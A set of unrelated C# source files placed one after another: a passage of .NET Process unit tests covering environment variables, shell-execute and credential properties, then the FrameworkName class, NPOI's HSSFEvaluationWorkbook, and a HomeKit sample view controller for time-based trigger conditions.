Assert.Equal("NewKeyNewKey2", result); Assert.Equal(2, index); //Contains Assert.True(environment.Contains(new KeyValuePair<string, string>("NewKey", "NewValue"))); Assert.Equal(RuntimeInformation.IsOSPlatform(OSPlatform.Windows), environment.Contains(new KeyValuePair<string, string>("nEwKeY", "NewValue"))); Assert.False(environment.Contains(new KeyValuePair<string, string>("NewKey99", "NewValue99"))); //Exception not thrown with invalid key Assert.Throws<ArgumentNullException>(() => environment.Contains(new KeyValuePair<string, string>(null, "NewValue99"))); environment.Add(new KeyValuePair<string, string>("NewKey98", "NewValue98")); //Indexed string newIndexItem = environment["NewKey98"]; Assert.Equal("NewValue98", newIndexItem); //TryGetValue string stringout = null; Assert.True(environment.TryGetValue("NewKey", out stringout)); Assert.Equal("NewValue", stringout); if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows)) { Assert.True(environment.TryGetValue("NeWkEy", out stringout)); Assert.Equal("NewValue", stringout); } stringout = null; Assert.False(environment.TryGetValue("NewKey99", out stringout)); Assert.Equal(null, stringout); //Exception not thrown with invalid key Assert.Throws<ArgumentNullException>(() => { string stringout1 = null; environment.TryGetValue(null, out stringout1); }); //Exception not thrown with invalid key Assert.Throws<ArgumentNullException>(() => environment.Add(null, "NewValue2")); //Invalid Key to add Assert.Throws<ArgumentException>(() => environment.Add("NewKey2", "NewValue2")); //Remove Item environment.Remove("NewKey98"); environment.Remove("NewKey98"); //2nd occurrence should not assert //Exception not thrown with null key Assert.Throws<ArgumentNullException>(() => { environment.Remove(null); }); //"Exception not thrown with null key" Assert.Throws<KeyNotFoundException>(() => environment["1bB"]); Assert.True(environment.Contains(new KeyValuePair<string, string>("NewKey2", "NewValue2"))); Assert.Equal(RuntimeInformation.IsOSPlatform(OSPlatform.Windows), environment.Contains(new KeyValuePair<string, string>("NEWKeY2", "NewValue2"))); Assert.False(environment.Contains(new KeyValuePair<string, string>("NewKey2", "newvalue2"))); Assert.False(environment.Contains(new KeyValuePair<string, string>("newkey2", "newvalue2"))); //Use KeyValuePair Enumerator var x = environment.GetEnumerator(); x.MoveNext(); var y1 = x.Current; Assert.Equal("NewKey NewValue", y1.Key + " " + y1.Value); x.MoveNext(); y1 = x.Current; Assert.Equal("NewKey2 NewValue2", y1.Key + " " + y1.Value); //IsReadonly Assert.False(environment.IsReadOnly); environment.Add(new KeyValuePair<string, string>("NewKey3", "NewValue3")); environment.Add(new KeyValuePair<string, string>("NewKey4", "NewValue4")); //CopyTo KeyValuePair<string, string>[] kvpa = new KeyValuePair<string, string>[10]; environment.CopyTo(kvpa, 0); Assert.Equal("NewKey", kvpa[0].Key); Assert.Equal("NewKey3", kvpa[2].Key); environment.CopyTo(kvpa, 6); Assert.Equal("NewKey", kvpa[6].Key); //Exception not thrown with null key Assert.Throws<ArgumentOutOfRangeException>(() => { environment.CopyTo(kvpa, -1); }); //Exception not thrown with null key Assert.Throws<ArgumentException>(() => { environment.CopyTo(kvpa, 9); }); //Exception not thrown with null key Assert.Throws<ArgumentNullException>(() => { KeyValuePair<string, string>[] kvpanull = null; environment.CopyTo(kvpanull, 0); }); } [ActiveIssue(14417)] [Fact] public void TestEnvironmentOfChildProcess() { const string ItemSeparator = "CAFF9451396B4EEF8A5155A15BDC2080"; // random string that shouldn't be in any env vars; used instead of newline to separate env var strings const string ExtraEnvVar = "TestEnvironmentOfChildProcess_SpecialStuff"; Environment.SetEnvironmentVariable(ExtraEnvVar, "\x1234" + Environment.NewLine + "\x5678"); // ensure some Unicode characters and newlines are in the output try { // Schedule a process to see what env vars it gets. Have it write out those variables // to its output stream so we can read them. Process p = CreateProcess(() => { Console.Write(string.Join(ItemSeparator, Environment.GetEnvironmentVariables().Cast<DictionaryEntry>().Select(e => e.Key + "=" + e.Value))); return SuccessExitCode; }); p.StartInfo.StandardOutputEncoding = Encoding.UTF8; p.StartInfo.RedirectStandardOutput = true; p.Start(); string output = p.StandardOutput.ReadToEnd(); Assert.True(p.WaitForExit(WaitInMS)); // Parse the env vars from the child process var actualEnv = new HashSet<string>(output.Split(new[] { ItemSeparator }, StringSplitOptions.None)); // Validate against StartInfo.Environment. var startInfoEnv = new HashSet<string>(p.StartInfo.Environment.Select(e => e.Key + "=" + e.Value)); Assert.True(startInfoEnv.SetEquals(actualEnv), string.Format("Expected: {0}{1}Actual: {2}", string.Join(", ", startInfoEnv.Except(actualEnv)), Environment.NewLine, string.Join(", ", actualEnv.Except(startInfoEnv)))); // Validate against current process. (Profilers / code coverage tools can add own environment variables // but we start child process without them. Thus the set of variables from the child process could // be a subset of variables from current process.) var envEnv = new HashSet<string>(Environment.GetEnvironmentVariables().Cast<DictionaryEntry>().Select(e => e.Key + "=" + e.Value)); Assert.True(envEnv.IsSupersetOf(actualEnv), string.Format("Expected: {0}{1}Actual: {2}", string.Join(", ", envEnv.Except(actualEnv)), Environment.NewLine, string.Join(", ", actualEnv.Except(envEnv)))); } finally { Environment.SetEnvironmentVariable(ExtraEnvVar, null); } } [PlatformSpecific(TestPlatforms.Windows)] // UseShellExecute currently not supported on Windows [Fact] public void TestUseShellExecuteProperty_SetAndGet_Windows() { ProcessStartInfo psi = new ProcessStartInfo(); Assert.False(psi.UseShellExecute); // Calling the setter Assert.Throws<PlatformNotSupportedException>(() => { psi.UseShellExecute = true; }); psi.UseShellExecute = false; // Calling the getter Assert.False(psi.UseShellExecute, "UseShellExecute=true is not supported on onecore."); } [PlatformSpecific(TestPlatforms.AnyUnix)] // UseShellExecute currently not supported on Windows [Fact] public void TestUseShellExecuteProperty_SetAndGet_Unix() { ProcessStartInfo psi = new ProcessStartInfo(); Assert.False(psi.UseShellExecute); psi.UseShellExecute = true; Assert.True(psi.UseShellExecute); psi.UseShellExecute = false; Assert.False(psi.UseShellExecute); } [PlatformSpecific(TestPlatforms.AnyUnix)] // UseShellExecute currently not supported on Windows [Theory] [InlineData(0)] [InlineData(1)] [InlineData(2)] public void TestUseShellExecuteProperty_Redirects_NotSupported(int std) { Process p = CreateProcessLong(); p.StartInfo.UseShellExecute = true; switch (std) { case 0: p.StartInfo.RedirectStandardInput = true; break; case 1: p.StartInfo.RedirectStandardOutput = true; break; case 2: p.StartInfo.RedirectStandardError = true; break; } Assert.Throws<InvalidOperationException>(() => p.Start()); } [Fact] public void TestArgumentsProperty() { ProcessStartInfo psi = new ProcessStartInfo(); Assert.Equal(string.Empty, psi.Arguments); psi = new ProcessStartInfo("filename", "-arg1 -arg2"); Assert.Equal("-arg1 -arg2", psi.Arguments); psi.Arguments = "-arg3 -arg4"; Assert.Equal("-arg3 -arg4", psi.Arguments); } [Theory, InlineData(true), InlineData(false)] public void TestCreateNoWindowProperty(bool value) { Process testProcess = CreateProcessLong(); try { testProcess.StartInfo.CreateNoWindow = value; testProcess.Start(); Assert.Equal(value, testProcess.StartInfo.CreateNoWindow); } finally { if (!testProcess.HasExited) testProcess.Kill(); Assert.True(testProcess.WaitForExit(WaitInMS)); } } [Fact, PlatformSpecific(TestPlatforms.AnyUnix)] // APIs throw PNSE on Unix public void TestUserCredentialsPropertiesOnUnix() { Assert.Throws<PlatformNotSupportedException>(() => _process.StartInfo.Domain); Assert.Throws<PlatformNotSupportedException>(() => _process.StartInfo.UserName); Assert.Throws<PlatformNotSupportedException>(() => _process.StartInfo.PasswordInClearText); Assert.Throws<PlatformNotSupportedException>(() => _process.StartInfo.LoadUserProfile); } [Fact] public void TestWorkingDirectoryProperty() { // check defaults Assert.Equal(string.Empty, _process.StartInfo.WorkingDirectory); Process p = CreateProcessLong(); p.StartInfo.WorkingDirectory = Directory.GetCurrentDirectory(); try { p.Start(); Assert.Equal(Directory.GetCurrentDirectory(), p.StartInfo.WorkingDirectory); } finally { if (!p.HasExited) p.Kill(); Assert.True(p.WaitForExit(WaitInMS)); } } [ActiveIssue(12696)] [Fact, PlatformSpecific(TestPlatforms.Windows), OuterLoop] // Uses P/Invokes, Requires admin privileges public void TestUserCredentialsPropertiesOnWindows() { string username = "test", password = "PassWord123!!"; try { Interop.NetUserAdd(username, password); } catch (Exception exc) { Console.Error.WriteLine("TestUserCredentialsPropertiesOnWindows: NetUserAdd failed: {0}", exc.Message); return; // test is irrelevant if we can't add a user } bool hasStarted = false; SafeProcessHandle handle = null; Process p = null; try { p = CreateProcessLong(); p.StartInfo.LoadUserProfile = true; p.StartInfo.UserName = username; p.StartInfo.PasswordInClearText = password; hasStarted = p.Start(); if (Interop.OpenProcessToken(p.SafeHandle, 0x8u, out handle)) { SecurityIdentifier sid; if (Interop.ProcessTokenToSid(handle, out sid)) { string actualUserName = sid.Translate(typeof(NTAccount)).ToString(); int indexOfDomain = actualUserName.IndexOf('\\'); if (indexOfDomain != -1) actualUserName = actualUserName.Substring(indexOfDomain + 1); bool isProfileLoaded = GetNamesOfUserProfiles().Any(profile => profile.Equals(username)); Assert.Equal(username, actualUserName); Assert.True(isProfileLoaded); } } } finally { IEnumerable<uint> collection = new uint[] { 0 /* NERR_Success */, 2221 /* NERR_UserNotFound */ }; Assert.Contains<uint>(Interop.NetUserDel(null, username), collection); if (handle != null) handle.Dispose(); if (hasStarted) { if (!p.HasExited) p.Kill(); Assert.True(p.WaitForExit(WaitInMS)); } } } private static List<string> GetNamesOfUserProfiles() { List<string> userNames = new List<string>(); string[] names = Registry.Users.GetSubKeyNames(); for (int i = 1; i < names.Length; i++) { try { SecurityIdentifier sid = new SecurityIdentifier(names[i]); string userName = sid.Translate(typeof(NTAccount)).ToString(); int indexofDomain = userName.IndexOf('\\'); if (indexofDomain != -1) { userName = userName.Substring(indexofDomain + 1); userNames.Add(userName); } } catch (Exception) { } } return userNames; } } }
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. using System; using System.Diagnostics; using System.Diagnostics.Contracts; using System.Globalization; using System.Text; namespace System.Runtime.Versioning { public sealed class FrameworkName : IEquatable<FrameworkName> { // ---- SECTION: members supporting exposed properties -------------* #region members supporting exposed properties private readonly String _identifier = null; private readonly Version _version = null; private readonly String _profile = null; private String _fullName = null; private const Char c_componentSeparator = ','; private const Char c_keyValueSeparator = '='; private const Char c_versionValuePrefix = 'v'; private const String c_versionKey = "Version"; private const String c_profileKey = "Profile"; #endregion members supporting exposed properties // ---- SECTION: public properties --------------* #region public properties public String Identifier { get { Debug.Assert(_identifier != null); return _identifier; } } public Version Version { get { Debug.Assert(_version != null); return _version; } } public String Profile { get { Debug.Assert(_profile != null); return _profile; } } public String FullName { get { if (_fullName == null) { StringBuilder sb = new StringBuilder(); sb.Append(Identifier); sb.Append(c_componentSeparator); sb.Append(c_versionKey).Append(c_keyValueSeparator); sb.Append(c_versionValuePrefix); sb.Append(Version); if (!String.IsNullOrEmpty(Profile)) { sb.Append(c_componentSeparator); sb.Append(c_profileKey).Append(c_keyValueSeparator); sb.Append(Profile); } _fullName = sb.ToString(); } Debug.Assert(_fullName != null); return _fullName; } } #endregion public properties // ---- SECTION: public instance methods --------------* #region public instance methods public override Boolean Equals(Object obj) { return Equals(obj as FrameworkName); } public Boolean Equals(FrameworkName other) { if (Object.ReferenceEquals(other, null)) { return false; } return Identifier == other.Identifier && Version == other.Version && Profile == other.Profile; } public override Int32 GetHashCode() { return Identifier.GetHashCode() ^ Version.GetHashCode() ^ Profile.GetHashCode(); } public override String ToString() { return FullName; } #endregion public instance methods // -------- SECTION: constructors -----------------* #region constructors public FrameworkName(String identifier, Version version) : this(identifier, version, null) { } public FrameworkName(String identifier, Version version, String profile) { if (identifier == null) { throw new ArgumentNullException("identifier"); } identifier = identifier.Trim(); if (identifier.Length == 0) { throw new ArgumentException(SR.Format(SR.net_emptystringcall, "identifier"), "identifier"); } if (version == null) { throw new ArgumentNullException("version"); } _identifier = identifier; // Ensure we call the correct Version constructor to clone the Version if (version.Revision < 0) { if (version.Build < 0) { _version = new Version(version.Major, version.Minor); } else { _version = new Version(version.Major, version.Minor, version.Build); } } else { _version = new Version(version.Major, version.Minor, version.Build, version.Revision); } _profile = (profile == null) ? String.Empty : profile.Trim(); } // Parses strings in the following format: "<identifier>, Version=[v|V]<version>, Profile=<profile>" // - The identifier and version is required, profile is optional // - Only three components are allowed. // - The version string must be in the System.Version format; an optional "v" or "V" prefix is allowed public FrameworkName(String frameworkName) { if (frameworkName == null) { throw new ArgumentNullException("frameworkName"); } if (frameworkName.Length == 0) { throw new ArgumentException(SR.Format(SR.net_emptystringcall, "frameworkName"), "frameworkName"); } string[] components = frameworkName.Split(c_componentSeparator); // Identifer and Version are required, Profile is optional. if (components.Length < 2 || components.Length > 3) { throw new ArgumentException(SR.Argument_FrameworkNameTooShort, "frameworkName"); } // // 1) Parse the "Identifier", which must come first. Trim any whitespace // _identifier = components[0].Trim(); if (_identifier.Length == 0) { throw new ArgumentException(SR.Argument_FrameworkNameInvalid, "frameworkName"); } bool versionFound = false; _profile = String.Empty; // // The required "Version" and optional "Profile" component can be in any order // for (int i = 1; i < components.Length; i++) { // Get the key/value pair separated by '=' string[] keyValuePair = components[i].Split(c_keyValueSeparator); if (keyValuePair.Length != 2) { throw new ArgumentException(SR.Argument_FrameworkNameInvalid, "frameworkName"); } // Get the key and value, trimming any whitespace string key = keyValuePair[0].Trim(); string value = keyValuePair[1].Trim(); // // 2) Parse the required "Version" key value // if (key.Equals(c_versionKey, StringComparison.OrdinalIgnoreCase)) { versionFound = true; // Allow the version to include a 'v' or 'V' prefix... if (value.Length > 0 && (value[0] == c_versionValuePrefix || value[0] == 'V')) { value = value.Substring(1); } try { _version = new Version(value); } catch (Exception e) { throw new ArgumentException(SR.Argument_FrameworkNameInvalidVersion, "frameworkName", e); } } // // 3) Parse the optional "Profile" key value // else if (key.Equals(c_profileKey, StringComparison.OrdinalIgnoreCase)) { if (!String.IsNullOrEmpty(value)) { _profile = value; } } else { throw new ArgumentException(SR.Argument_FrameworkNameInvalid, "frameworkName"); } } if (!versionFound) { throw new ArgumentException(SR.Argument_FrameworkNameMissingVersion, "frameworkName"); } } #endregion constructors // -------- SECTION: public static methods -----------------* #region public static methods public static Boolean operator ==(FrameworkName left, FrameworkName right) { if (Object.ReferenceEquals(left, null)) { return Object.ReferenceEquals(right, null); } return left.Equals(right); } public static Boolean operator !=(FrameworkName left, FrameworkName right) { return !(left == right); } #endregion public static methods } }
/* ==================================================================== Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ==================================================================== */ namespace NPOI.HSSF.UserModel { using System; //using NPOI.HSSF.Model; using NPOI.HSSF.Record; using NPOI.HSSF.Record.Aggregates; using NPOI.SS; using NPOI.SS.Formula; using NPOI.SS.Formula.PTG; using NPOI.SS.Formula.Udf; using NPOI.SS.UserModel; using NPOI.Util; using NPOI.SS.Util; /** * Internal POI use only * * @author Josh Micich */ public class HSSFEvaluationWorkbook : IFormulaRenderingWorkbook, IEvaluationWorkbook, IFormulaParsingWorkbook { private static POILogger logger = POILogFactory.GetLogger(typeof(HSSFEvaluationWorkbook)); private HSSFWorkbook _uBook; private NPOI.HSSF.Model.InternalWorkbook _iBook; public static HSSFEvaluationWorkbook Create(NPOI.SS.UserModel.IWorkbook book) { if (book == null) { return null; } return new HSSFEvaluationWorkbook((HSSFWorkbook)book); } private HSSFEvaluationWorkbook(HSSFWorkbook book) { _uBook = book; _iBook = book.Workbook; } public int GetExternalSheetIndex(String sheetName) { int sheetIndex = _uBook.GetSheetIndex(sheetName); return _iBook.CheckExternSheet(sheetIndex); } public int GetExternalSheetIndex(String workbookName, String sheetName) { return _iBook.GetExternalSheetIndex(workbookName, sheetName); } public ExternalName GetExternalName(int externSheetIndex, int externNameIndex) { return _iBook.GetExternalName(externSheetIndex, externNameIndex); } public ExternalName GetExternalName(String nameName, String sheetName, int externalWorkbookNumber) { throw new InvalidOperationException("XSSF-style external names are not supported for HSSF"); } public Ptg Get3DReferencePtg(CellReference cr, SheetIdentifier sheet) { int extIx = GetSheetExtIx(sheet); return new Ref3DPtg(cr, extIx); } public Ptg Get3DReferencePtg(AreaReference areaRef, SheetIdentifier sheet) { int extIx = GetSheetExtIx(sheet); return new Area3DPtg(areaRef, extIx); } public Ptg GetNameXPtg(String name, SheetIdentifier sheet) { int sheetRefIndex = GetSheetExtIx(sheet); return _iBook.GetNameXPtg(name, sheetRefIndex, _uBook.GetUDFFinder()); } public IEvaluationName GetName(String name,int sheetIndex) { for (int i = 0; i < _iBook.NumNames; i++) { NameRecord nr = _iBook.GetNameRecord(i); if (nr.SheetNumber == sheetIndex + 1 && name.Equals(nr.NameText, StringComparison.OrdinalIgnoreCase)) { return new Name(nr, i); } } return sheetIndex == -1 ? null : GetName(name, -1); } public int GetSheetIndex(IEvaluationSheet evalSheet) { HSSFSheet sheet = ((HSSFEvaluationSheet)evalSheet).HSSFSheet; return _uBook.GetSheetIndex(sheet); } public int GetSheetIndex(String sheetName) { return _uBook.GetSheetIndex(sheetName); } public String GetSheetName(int sheetIndex) { return _uBook.GetSheetName(sheetIndex); } public IEvaluationSheet GetSheet(int sheetIndex) { return new HSSFEvaluationSheet((HSSFSheet)_uBook.GetSheetAt(sheetIndex)); } public int ConvertFromExternSheetIndex(int externSheetIndex) { // TODO Update this to expose first and last sheet indexes return _iBook.GetFirstSheetIndexFromExternSheetIndex(externSheetIndex); } public ExternalSheet GetExternalSheet(int externSheetIndex) { ExternalSheet sheet = _iBook.GetExternalSheet(externSheetIndex); if (sheet == null) { // Try to treat it as a local sheet int localSheetIndex = ConvertFromExternSheetIndex(externSheetIndex); if (localSheetIndex == -1) { // The sheet referenced can't be found, sorry return null; } if (localSheetIndex == -2) { // Not actually sheet based at all - is workbook scoped return null; } // Look up the local sheet String sheetName = GetSheetName(localSheetIndex); // Is it a single local sheet, or a range? int lastLocalSheetIndex = _iBook.GetLastSheetIndexFromExternSheetIndex(externSheetIndex); if (lastLocalSheetIndex == localSheetIndex) { sheet = new ExternalSheet(null, sheetName); } else { String lastSheetName = GetSheetName(lastLocalSheetIndex); sheet = new ExternalSheetRange(null, sheetName, lastSheetName); } } return sheet; } public ExternalSheet GetExternalSheet(String firstSheetName, string lastSheetName, int externalWorkbookNumber) { throw new InvalidOperationException("XSSF-style external references are not supported for HSSF"); } public String ResolveNameXText(NameXPtg n) { return _iBook.ResolveNameXText(n.SheetRefIndex, n.NameIndex); } public String GetSheetFirstNameByExternSheet(int externSheetIndex) { return _iBook.FindSheetFirstNameFromExternSheet(externSheetIndex); } public String GetSheetLastNameByExternSheet(int externSheetIndex) { return _iBook.FindSheetLastNameFromExternSheet(externSheetIndex); } public String GetNameText(NamePtg namePtg) { return _iBook.GetNameRecord(namePtg.Index).NameText; } public IEvaluationName GetName(NamePtg namePtg) { int ix = namePtg.Index; return new Name(_iBook.GetNameRecord(ix), ix); } public Ptg[] GetFormulaTokens(IEvaluationCell evalCell) { ICell cell = ((HSSFEvaluationCell)evalCell).HSSFCell; //if (false) //{ // // re-parsing the formula text also works, but is a waste of time // // It is useful from time to time to run all unit tests with this code // // to make sure that all formulas POI can evaluate can also be parsed. // try // { // return HSSFFormulaParser.Parse(cell.CellFormula, _uBook, FormulaType.Cell, _uBook.GetSheetIndex(cell.GetSheet())); // } // catch (FormulaParseException e) // { // // Note - as of Bugzilla 48036 (svn r828244, r828247) POI is capable of evaluating // // IntesectionPtg. However it is still not capable of parsing it. // // So FormulaEvalTestData.xls now contains a few formulas that produce errors here. // logger.Log(POILogger.ERROR, e.Message); // } //} FormulaRecordAggregate fr = (FormulaRecordAggregate)((HSSFCell)cell).CellValueRecord; return fr.FormulaTokens; } public UDFFinder GetUDFFinder() { return _uBook.GetUDFFinder(); } private class Name : IEvaluationName { private NameRecord _nameRecord; private int _index; public Name(NameRecord nameRecord, int index) { _nameRecord = nameRecord; _index = index; } public Ptg[] NameDefinition { get{ return _nameRecord.NameDefinition; } } public String NameText { get{ return _nameRecord.NameText; } } public bool HasFormula { get{ return _nameRecord.HasFormula; } } public bool IsFunctionName { get{ return _nameRecord.IsFunctionName; } } public bool IsRange { get { return _nameRecord.HasFormula; // TODO - is this right? } } public NamePtg CreatePtg() { return new NamePtg(_index); } } private int GetSheetExtIx(SheetIdentifier sheetIden) { int extIx; if (sheetIden == null) { extIx = -1; } else { String workbookName = sheetIden.BookName; String firstSheetName = sheetIden.SheetId.Name; String lastSheetName = firstSheetName; if (sheetIden is SheetRangeIdentifier) { lastSheetName = ((SheetRangeIdentifier)sheetIden).LastSheetIdentifier.Name; } if (workbookName == null) { int firstSheetIndex = _uBook.GetSheetIndex(firstSheetName); int lastSheetIndex = _uBook.GetSheetIndex(lastSheetName); extIx = _iBook.checkExternSheet(firstSheetIndex, lastSheetIndex); } else { extIx = _iBook.GetExternalSheetIndex(workbookName, firstSheetName, lastSheetName); } } return extIx; } public SpreadsheetVersion GetSpreadsheetVersion() { return SpreadsheetVersion.EXCEL97; } } }
using System; using Foundation; using HomeKit; using UIKit; namespace HomeKitCatalog { // Represents a section in the `TimeConditionViewController`. enum TimeConditionTableViewSection { // This section contains the segmented control to // choose a time condition type. TimeOrSun, // This section contains cells to allow the selection // of 'before', 'after', or 'at'. 'At' is only available // when the exact time is specified. BeforeOrAfter, // If the condition type is exact time, this section will // only have one cell, the date picker cell. // If the condition type is relative to a solar event, // this section will have two cells, one for 'sunrise' and one for 'sunset. Value, } // Represents the type of time condition. // The condition can be an exact time, or relative to a solar event. enum TimeConditionType { Time, Sun } // Represents the type of solar event. // This can be sunrise or sunset. public enum TimeConditionSunState { Sunrise, Sunset } // Represents the condition order. // Conditions can be before, after, or exactly at a given time. public enum TimeConditionOrder { Before, After, At } public partial class TimeConditionViewController : HMCatalogViewController { static readonly NSString selectionCell = (NSString)"SelectionCell"; static readonly NSString timePickerCell = (NSString)"TimePickerCell"; static readonly NSString segmentedTimeCell = (NSString)"SegmentedTimeCell"; static readonly string[] BeforeOrAfterTitles = { "Before", "After", "At", }; static readonly string[] SunriseSunsetTitles = { "Sunrise", "Sunset", }; TimeConditionType timeType = TimeConditionType.Time; TimeConditionOrder order = TimeConditionOrder.Before; TimeConditionSunState sunState = TimeConditionSunState.Sunrise; UIDatePicker datePicker; public EventTriggerCreator TriggerCreator { get; set; } #region ctors public TimeConditionViewController (IntPtr handle) : base (handle) { } [Export ("initWithCoder:")] public TimeConditionViewController (NSCoder coder) : base (coder) { } #endregion public override void ViewDidLoad () { base.ViewDidLoad (); TableView.RowHeight = UITableView.AutomaticDimension; TableView.EstimatedRowHeight = 44; } public override nint NumberOfSections (UITableView tableView) { return Enum.GetNames (typeof(TimeConditionTableViewSection)).Length; } public override nint RowsInSection (UITableView tableView, nint section) { switch ((TimeConditionTableViewSection)(int)section) { case TimeConditionTableViewSection.TimeOrSun: return 1; case TimeConditionTableViewSection.BeforeOrAfter: // If we're choosing an exact time, we add the 'At' row. return (timeType == TimeConditionType.Time) ? 3 : 2; case TimeConditionTableViewSection.Value: // Date picker cell or sunrise/sunset selection cells return (timeType == TimeConditionType.Time) ? 1 : 2; default: throw new InvalidOperationException ("Unexpected `TimeConditionTableViewSection` value."); } } // Switches based on the section to generate a cell. public override UITableViewCell GetCell (UITableView tableView, NSIndexPath indexPath) { switch ((TimeConditionTableViewSection)indexPath.Section) { case TimeConditionTableViewSection.TimeOrSun: return GetSegmentedCell (tableView, indexPath); case TimeConditionTableViewSection.BeforeOrAfter: return GetSectionCell (tableView, indexPath); case TimeConditionTableViewSection.Value: switch (timeType) { case TimeConditionType.Time: return GetDatePickerCell (tableView, indexPath); case TimeConditionType.Sun: return GetSectionCell (tableView, indexPath); default: throw new InvalidOperationException (); } default: throw new InvalidOperationException ("Unexpected `TimeConditionTableViewSection` value."); } } public override string TitleForHeader (UITableView tableView, nint section) { switch ((TimeConditionTableViewSection)(int)section) { case TimeConditionTableViewSection.TimeOrSun: return "Condition Type"; case TimeConditionTableViewSection.BeforeOrAfter: return null; case TimeConditionTableViewSection.Value: return timeType == TimeConditionType.Time ? "Time" : "Event"; default: throw new InvalidOperationException ("Unexpected `TimeConditionTableViewSection` value."); } } public override string TitleForFooter (UITableView tableView, nint section) { switch ((TimeConditionTableViewSection)(int)section) { case TimeConditionTableViewSection.TimeOrSun: return "Time conditions can relate to specific times or special events, like sunrise and sunset."; case TimeConditionTableViewSection.BeforeOrAfter: case TimeConditionTableViewSection.Value: return null; default: throw new InvalidOperationException ("Unexpected `TimeConditionTableViewSection` value."); } } public override void RowSelected (UITableView tableView, NSIndexPath indexPath) { base.RowSelected (tableView, indexPath); var cell = tableView.CellAt (indexPath); if (cell.SelectionStyle == UITableViewCellSelectionStyle.None) return; tableView.DeselectRow (indexPath, true); switch ((TimeConditionTableViewSection)indexPath.Section) { case TimeConditionTableViewSection.TimeOrSun: timeType = (TimeConditionType)indexPath.Row; ReloadDynamicSections (); return; case TimeConditionTableViewSection.BeforeOrAfter: order = (TimeConditionOrder)indexPath.Row; tableView.ReloadSections (NSIndexSet.FromIndex (indexPath.Section), UITableViewRowAnimation.Automatic); break; case TimeConditionTableViewSection.Value: if (timeType == TimeConditionType.Sun) sunState = (TimeConditionSunState)indexPath.Row; tableView.ReloadSections (NSIndexSet.FromIndex (indexPath.Section), UITableViewRowAnimation.Automatic); break; default: throw new InvalidOperationException ("Unexpected `TimeConditionTableViewSection` value."); } } // Generates a selection cell based on the section. // Ordering and sun-state sections have selections. UITableViewCell GetSectionCell (UITableView tableView, NSIndexPath indexPath) { var cell = tableView.DequeueReusableCell (selectionCell, indexPath); switch ((TimeConditionTableViewSection)indexPath.Section) { case TimeConditionTableViewSection.BeforeOrAfter: cell.TextLabel.Text = BeforeOrAfterTitles [indexPath.Row]; cell.Accessory = ((int)order == indexPath.Row) ? UITableViewCellAccessory.Checkmark : UITableViewCellAccessory.None; break; case TimeConditionTableViewSection.Value: if (timeType == TimeConditionType.Sun) { cell.TextLabel.Text = SunriseSunsetTitles [indexPath.Row]; cell.Accessory = ((int)sunState == indexPath.Row) ? UITableViewCellAccessory.Checkmark : UITableViewCellAccessory.None; } break; case TimeConditionTableViewSection.TimeOrSun: break; default: throw new InvalidOperationException ("Unexpected `TimeConditionTableViewSection` value."); } return cell; } // Generates a date picker cell and sets the internal date picker when created. UITableViewCell GetDatePickerCell (UITableView tableView, NSIndexPath indexPath) { var cell = (TimePickerCell)tableView.DequeueReusableCell (timePickerCell, indexPath); // Save the date picker so we can get the result later. datePicker = cell.DatePicker; return cell; } /// Generates a segmented cell and sets its target when created. UITableViewCell GetSegmentedCell (UITableView tableView, NSIndexPath indexPath) { var cell = (SegmentedTimeCell)tableView.DequeueReusableCell (segmentedTimeCell, indexPath); cell.SegmentedControl.SelectedSegment = (int)timeType; cell.SegmentedControl.ValueChanged -= OnSegmentedControlDidChange; cell.SegmentedControl.ValueChanged += OnSegmentedControlDidChange; return cell; } // Creates date components from the date picker's date. NSDateComponents dateComponents { get { if (datePicker == null) return null; NSCalendarUnit flags = NSCalendarUnit.Hour | NSCalendarUnit.Minute; return NSCalendar.CurrentCalendar.Components (flags, datePicker.Date); } } // Updates the time type and reloads dynamic sections. void OnSegmentedControlDidChange (object sender, EventArgs e) { var segmentedControl = (UISegmentedControl)sender; timeType = (TimeConditionType)(int)segmentedControl.SelectedSegment; ReloadDynamicSections (); } // Reloads the BeforeOrAfter and Value section. void ReloadDynamicSections () { if (timeType == TimeConditionType.Sun && order == TimeConditionOrder.At) order = TimeConditionOrder.Before; var reloadIndexSet = NSIndexSet.FromNSRange (new NSRange ((int)TimeConditionTableViewSection.BeforeOrAfter, 2)); TableView.ReloadSections (reloadIndexSet, UITableViewRowAnimation.Automatic); } // Generates a predicate based on the stored values, adds the condition to the trigger, then dismisses the view. [Export ("saveAndDismiss:")] void SaveAndDismiss (UIBarButtonItem sender) { NSPredicate predicate = null; switch (timeType) { case TimeConditionType.Time: switch (order) { case TimeConditionOrder.Before: predicate = HMEventTrigger.CreatePredicateForEvaluatingTriggerOccurringBeforeDate (dateComponents); break; case TimeConditionOrder.After: predicate = HMEventTrigger.CreatePredicateForEvaluatingTriggerOccurringAfterDate (dateComponents); break; case TimeConditionOrder.At: predicate = HMEventTrigger.CreatePredicateForEvaluatingTriggerOccurringOnDate (dateComponents); break; } break; case TimeConditionType.Sun: var significantEventString = (sunState == TimeConditionSunState.Sunrise) ? HMSignificantEvent.Sunrise : HMSignificantEvent.Sunset; switch (order) { case TimeConditionOrder.Before: predicate = HMEventTrigger.CreatePredicateForEvaluatingTriggerOccurringBeforeSignificantEvent (significantEventString, null); break; case TimeConditionOrder.After: predicate = HMEventTrigger.CreatePredicateForEvaluatingTriggerOccurringAfterSignificantEvent (significantEventString, null); break; // Significant events must be specified 'before' or 'after'. case TimeConditionOrder.At: break; } break; } var triggerCreator = TriggerCreator; if (predicate != null && triggerCreator != null) triggerCreator.AddCondition (predicate); DismissViewController (true, null); } // Cancels the creation of the conditions and exits. [Export ("dismiss:")] void Dismiss (UIBarButtonItem sender) { DismissViewController (true, null); } } }
